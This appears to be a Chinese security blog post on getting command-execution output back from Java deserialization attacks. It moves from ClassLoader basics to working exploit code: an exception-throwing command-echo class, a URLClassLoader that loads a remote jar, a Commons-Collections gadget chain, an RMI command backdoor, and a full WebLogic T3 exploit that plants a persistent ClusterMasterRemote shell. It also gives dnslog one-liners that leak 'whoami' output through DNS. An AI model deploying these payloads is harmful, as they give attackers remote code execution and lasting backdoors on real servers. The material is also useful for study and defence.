在很多不出网的情况下,一种是写webshell(内存嘛),另一种就是回显,本文先学习回显,回显的主要方式有一下几种。
前面有多多少了解过ClassLoader本篇花费一节仔细学习一下
classloader顾名思义,即是类加载。虚拟机把描述类的数据从class字节码文件加载到内存,并对数据进行检验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这就是虚拟机的类加载机
主要是三个阶段
第一个阶段是加载,把.class文件加载到内存,并为它创建一个java.lang.Class对象
第二个阶段是连接,连接包括三阶段
验证:确保加载的类信息符合JVM规范,无安全方面的问题。 准备:为类的静态Field分配内存,并设置初始值,变量的初始值,如:int=0。 解析:将类的二进制数据中的符号引用替换成直接引用。
第三阶段是初始化
1、优先对该类的父类进行初始化,然后对static修饰的变量和代码块进行初始化
当一个类加载的过程中,它首先不会去加载,而是委托给自己的父类去加载,父类又委托给自己的父类。因此所有的类加载都会委托给顶层的父类,即Bootstrap Classloader进行加载,然后父类自己无法完成这个加载请求,子加载器才会尝试自己去加载
1.启动类加载器(Bootstrap Classloader)负责将<JAVA_HOME>/lib目录下并且被虚拟机识别的类库加载到虚拟机内存中。我们常用基础库,例如java.util.,java.io.,java.lang.**等等都是由根加载器加载
2.扩展类加载器(Extention Classloader)负责加载JVM扩展类,比如swing系列、内置的js引擎、xml解析器等,这些类库以javax开头,它们的jar包位于<JAVA_HOME>/lib/ext目录中
3.应用程序加载器(Application Classloader)也叫系统类加载器,它负责加载用户路径(ClassPath)上所指定的类库。我们自己编写的代码以及使用的第三方的jar包都是由它来加载的
4.自定义加载器(Custom Classloader)通常是我们为了某些特殊目的实现的自定义加载器
1.loadClass(String className),根据名字加载一个类。 2.defineClass(String name, byte[] b, int off, int len),将一个字节流定义为一个类。 3.findClass(String name),查找一个类。 4.findLoadedClass(String name),在已加载的类中,查找一个类。
当加载一个类时,会首先从已经加载的类里面去查找这个类。如果类未加载,且如果父加载器不为空,则调用父加载器的loadClass方法进行加载,如果父加载器为空,则调用BootStrap class loader加载。如果依然没有加载到类,则调用findClass方法。而findClass方法是需要子类重写的。所以我们只需要继承classLoader重写findClass方法就可以实现自定义ClassLoader
1、继承classLoader 2、重写findClass()方法 3、在findClass()中调用defineClass
编写测试类
package com.akkacloud.demo; import java.io.*; import java.util.Arrays; public class test { public void testclassloder() { System.out.println("test classloader"); } }
编译成class文件
编写自己的classLoder
package com.akkacloud.demo; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class myClassloader extends ClassLoader{ private static String ClassName = "com.akkacloud.demo.test"; //获取class文件,转换成byte private static byte[] getbyte() throws IOException { InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/test.class")); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int temp; while ((temp = is.read(bytes)) != -1) { outputStream.write(bytes, 0, temp); } //转换后的byte[] byte[] finalBytes = outputStream.toByteArray(); return finalBytes; } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { //如果类名为我们定的类 if(name==ClassName){ try { //从字节中获取一个类 return defineClass(ClassName, getbyte(),0,getbyte().length); } catch (IOException e) { e.printStackTrace(); } } return super.findClass(name); } public static void main(String[] args) throws ClassNotFoundException { //新建自定义的类加载器 myClassloader myClassloader = new myClassloader(); Class<?> aClass = myClassloader.loadClass(ClassName); try { //反射调用类的方法 Object o = aClass.newInstance(); Method declaredMethod = aClass.getMethod("testclassloder", null); declaredMethod.invoke(o, null); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } }
首先新建恶意异常回显类,并且编译成class文件
package com.akkacloud.demo; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Echo { public Echo(String cmd) throws Exception { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd}); Process start = processBuilder.start(); InputStream inputStream = start.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); StringBuffer stringBuffer = new StringBuffer(); String line =null; while ((line = bufferedReader.readLine()) != null) { stringBuffer.append(line).append("\n"); } throw new Exception(stringBuffer.toString()); } }
新建自己的classLoder
package com.akkacloud.demo; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class myClassloader extends ClassLoader{ private static String ClassName = "com.akkacloud.demo.Echo"; //获取class文件,转换成byte private static byte[] getbyte() throws IOException { InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/Echo.class")); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int temp; while ((temp = is.read(bytes)) != -1) { outputStream.write(bytes, 0, temp); } //转换后的byte[] byte[] finalBytes = outputStream.toByteArray(); return finalBytes; } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { //如果类名为我们定的类 if(name==ClassName){ try { //从字节中获取一个类 return defineClass(ClassName, getbyte(),0,getbyte().length); } catch (IOException e) { e.printStackTrace(); } } return super.findClass(name); } public static void main(String[] args) { //新建自定义的类加载器 myClassloader myClassloader = new myClassloader(); //反射调用类的方法 try { Class<?> aClass = myClassloader.loadClass(ClassName); Object o = aClass.getConstructor(String.class).newInstance("id"); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
通过将回显结果封装到异常信息抛出拿到回显。
异常回显类
package com.akkacloud.demo; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Echo { public Echo(String cmd) throws Exception { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd}); Process start = processBuilder.start(); InputStream inputStream = start.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); StringBuffer stringBuffer = new StringBuffer(); String line =null; while ((line = bufferedReader.readLine()) != null) { stringBuffer.append(line).append("\n"); } throw new Exception(stringBuffer.toString()); } }
打jar包
javac Echo.java jar -cvf Echo.jar Echo.class
使用URLClassLoader加载jar获得回显
package com.akkacloud.demo; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class myURLClassLoader { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { URL url = new URL("http://localhost:8000/Echo.jar"); URL[] urls = {url}; URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls); Object o = urlClassLoader.loadClass("com.akkacloud.demo.Echo").getConstructor(String.class).newInstance("id"); } }
把上面的代码换成反射执行先
package com.akkacloud.demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; public class myURLClassLoader { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { /* URL url = new URL("http://localhost:8000/Echo.jar"); URL[] urls = {url}; URL[] urls= new URL[]{ new URL("http://localhost:8000/Echo.jar")}; */ /* URLClassLoader urlClassLoader = URLClassLoader.newInstance(new URL[]{ new URL("http://localhost:8000/Echo.jar")}); Object o = urlClassLoader.loadClass("com.akkacloud.demo.Echo").getConstructor(String.class).newInstance("id"); */ Method getConstructorMethod = URLClassLoader.class.getClass().getMethod("getConstructor", new Class[]{Class[].class}); //new Object[]{}是invoke的参数类型要求,new Class[]{}是getConstructor的参数类型,URL[].class是具体调用newInstance需要传入url数组 Object getConstructor = getConstructorMethod.invoke(URLClassLoader.class, new Object[]{new Class[]{URL[].class}}); System.out.println(getConstructor); Method newInstanceMethod = getConstructor.getClass().getMethod("newInstance", new Class[]{Object[].class}); URLClassLoader urlClassLoader = (URLClassLoader) newInstanceMethod.invoke(getConstructor, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}}); System.out.println(urlClassLoader); Class aClass = urlClassLoader.getClass(); Method loadClassMethod = aClass.getMethod("loadClass", new Class[]{String.class}); Object Echo = loadClassMethod.invoke(urlClassLoader, new Object[]{"com.akkacloud.demo.Echo"}); System.out.println(Echo); Method getEchoConstructor = Echo.getClass().getMethod("getConstructor", new Class[]{Class[].class}); Object EchoConstrutor = getEchoConstructor.invoke(Echo, new Object[]{new Class[]{String.class}}); System.out.println(EchoConstrutor); Method EchonewInstance = EchoConstrutor.getClass().getMethod("newInstance", new Class[]{Object[].class}); EchonewInstance.invoke(EchoConstrutor, new Object[]{new String[]{"id"}}); } }
改造cc
package com.akkacloud.demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; public class myURLClassLoader { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/Echo.jar")}}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"com.akkacloud.demo.Echo"}), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"id"}}) }); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5")); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
1、编写接口类
package com.akkacloud.rmi; import java.io.IOException; import java.rmi.Remote; public interface Echo extends Remote { public String Echo(String cmd) throws IOException; }
2、编写接口实现类,重写Echo方法,传入恶意代码
package com.akkacloud.rmi; import java.io.IOException; import java.io.InputStream; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.Scanner; public class EchoImpl extends UnicastRemoteObject implements Echo { protected EchoImpl() throws RemoteException { super(); } @Override public String Echo(String cmd) throws IOException { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String s = scanner.hasNext() ? scanner.next() : ""; System.out.println("123"); return s; } }
3、编写Rmi服务端
package com.akkacloud.rmi; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { EchoImpl echo = new EchoImpl(); System.out.println(echo); Registry registry = LocateRegistry.createRegistry(1234); registry.bind("Echo",echo ); System.out.println("rmiserver is running"); } }
4、编写客户端
package com.akkacloud.rmi; import java.io.IOException; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiClient { public static void main(String[] args) throws IOException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1234); Echo echo = (Echo)registry.lookup("Echo"); System.out.println(echo); System.out.println(echo.Echo("id")); } }
服务端总体流程
1、编写接口继承Remote
2、编写接口的Echo方法抛出java.rmi.RemoteException 异常
3、编写接口实现类EchoImpl,
4、重写Echo方法
5、新建接口实现类并且绑定在注册中心
客户端总体流程
1、查找注册中心的对应方法
2、调用该方法
这里大佬在有个思路,通过common-collection反序列化调用ClassLoader,通过字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果,其实就是打入一个rmi的后门,然后进行调用该后门进行执行命令,并且回显。但是还有几个问题
defineClass需要ClassLoader的子类才能拿到
定义了defineClass
org.mozilla.classfile.DefiningClassLoader#defineClass
具体应该实现哪个RMI接口类呢?
返回为String类型且继承了Remote并且抛出java.rmi.RemoteException
common-collection构造的问题
// common-collection1 构造transformers 定义自己的RMI接口 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(DefiningClassLoader.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{className, clsData}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new ConstantTransformer(new HashSet())};
idea导入weblogic的包,modules和wlserver_10.3/server下的lib包。然后导入https://github.com/5up3rc/weblogic_cmd该项目。
首先先写回显类既Remote实现类
package com.supeream; import weblogic.cluster.singleton.ClusterMasterRemote; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.InputStreamReader; import java.rmi.RemoteException; import java.util.ArrayList; import java.util.List; public class RemoteImpl implements ClusterMasterRemote { public static void main(String[] args) { RemoteImpl remote = new RemoteImpl(); try { Context context = new InitialContext(); context.rebind("echo",remote); } catch (Exception e) { e.printStackTrace(); } } @Override public void setServerLocation(String cmd, String args) throws RemoteException { } @Override public String getServerLocation(String cmd) throws RemoteException { try { if (cmd.equals("unbind")) { Context ctx = new InitialContext(); ctx.unbind("echo"); return null; } else{ String name = System.getProperty("os.name"); String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); byte[] buf = new byte[1024]; int len = 0; ByteArrayOutputStream out = new ByteArrayOutputStream(); while ((len = in.read(buf)) != -1) { out.write(buf, 0, len); } return new String(out.toByteArray()); } } catch (Exception e) { return e.getMessage(); } } }
工具类
package com.supeream; import java.io.*; import java.util.Arrays; public class Tobyte { public static byte[] getbyte(String path) throws IOException { InputStream in = new FileInputStream(path); byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static void main(String[] args) throws IOException { byte[] getbyte = Tobyte.getbyte("/Users/akka/Desktop/RemoteImpl.class"); System.out.println(Arrays.toString(getbyte)); } }
rmi客户端类
package com.supeream; import com.supeream.serial.Reflections; import com.supeream.serial.SerialDataGenerator; import com.supeream.serial.Serializables; import com.supeream.ssl.WeblogicTrustManager; import com.supeream.weblogic.T3ProtocolOperation; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.mozilla.classfile.DefiningClassLoader; import weblogic.cluster.singleton.ClusterMasterRemote; import weblogic.corba.utils.MarshalledObject; import weblogic.jndi.Environment; import javax.naming.Context; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class test { private static String host = "172.20.10.4"; private static String port = "7001"; private static final String classname = "com.supeream.RemoteImpl"; private static byte[] bs ; public static void main(String[] args) { try { String url = "t3://" + host + ":" + port; // 安装RMI实例 bs=Tobyte.getbyte("/Users/akka/Desktop/RemoteImpl.class"); invokeRMI(classname, bs); Environment environment = new Environment(); environment.setProviderUrl(url); environment.setEnableServerAffinity(false); environment.setSSLClientTrustManager(new WeblogicTrustManager()); Context context = environment.getInitialContext(); ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("echo"); // 调用RMI实例执行命令 String res = remote.getServerLocation("ipconfig"); System.out.println(res); } catch (Exception e) { e.printStackTrace(); } } private static void invokeRMI(String className, byte[] clsData) throws Exception { // common-collection1 构造transformers 定义自己的RMI接口 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(DefiningClassLoader.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{className, clsData}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}), new ConstantTransformer(new HashSet())}; final Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); InvocationHandler handler = (InvocationHandler) Reflections .getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Override.class, lazyMap); final Map mapProxy = Map.class .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(), new Class[]{Map.class}, handler)); handler = (InvocationHandler) Reflections.getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Override.class, mapProxy); // 序列化数据 MarshalledObject绕过 Object obj = new MarshalledObject(handler); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); objOut.flush(); objOut.close(); byte[] payload = out.toByteArray(); // t3发送 T3ProtocolOperation.send(host, port, payload); } }
如T3ProtocolOperation报错,需要修改两处
SocketFactory类
最后成功了
中间件回显我们另开篇章学习
这两种都比较简单,写文件主要是搜索一些特殊的静态文件,然后将结果写入文件,dnslog如下
dnslog
//windows ping %OS%.ijowns.dnslog.cn //linux ping -c 1 `whoami`.niddp9.dnslog.cn
变量 类型 描述 %USERNAME% 返回当前登录的用户的名称。 %USERDOMAIN% 返回包含用户帐户的域的名称。 %OS% 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 %USERPROFILE% 返回当前用户的配置文件的位置。 %ALLUSERSPROFILE% 返回“所有用户”配置文件的位置。 %APPDATA% 返回默认情况下应用程序存储数据的位置。 %CD% 返回当前目录字符串。 %CMDCMDLINE% 返回用来启动当前的 Cmd.exe 的准确命令行。 %CMDEXTVERSION% 返回当前的“命令处理程序扩展”的版本号。 %COMPUTERNAME% 返回计算机的名称。 %COMSPEC% 返回命令行解释器可执行程序的准确路径。 %DATE% 返回当前日期。 %ERRORLEVEL% 返回上一条命令的错误代码。通常用非零值表示错误。 %HOMEDRIVE% 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMEPATH% 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMESHARE% 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %LOGONSERVER% 返回验证当前登录会话的域控制器的名称。 %NUMBER_OF_PROCESSORS% 指定安装在计算机上的处理器的数目。 %PATH% 指定可执行文件的搜索路径。 %PATHEXT% 返回操作系统认为可执行的文件扩展名的列表。 %PROCESSOR_ARCHITECTURE% 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 %PROCESSOR_IDENTFIER% 返回处理器说明。 %PROCESSOR_LEVEL% 返回计算机上安装的处理器的型号。 %PROCESSOR_REVISION% 返回处理器的版本号。 %PROMPT% 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 %RANDOM% 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 返回 Windows server operating system 根目录的位置。 %TEMP%和%TMP% 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 %TIME% 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。 %WINDIR% 返回操作系统目录的位置
在rmi绑定回显最后测试卡了很久,最后还是请教了y4er师傅,反写师傅的指导,总结一句就是不够细心、不够细心、不够细心。
参考
https://y4er.com/post/weblogic-uses-classloader-and-rmi-to-display-command-execution-results/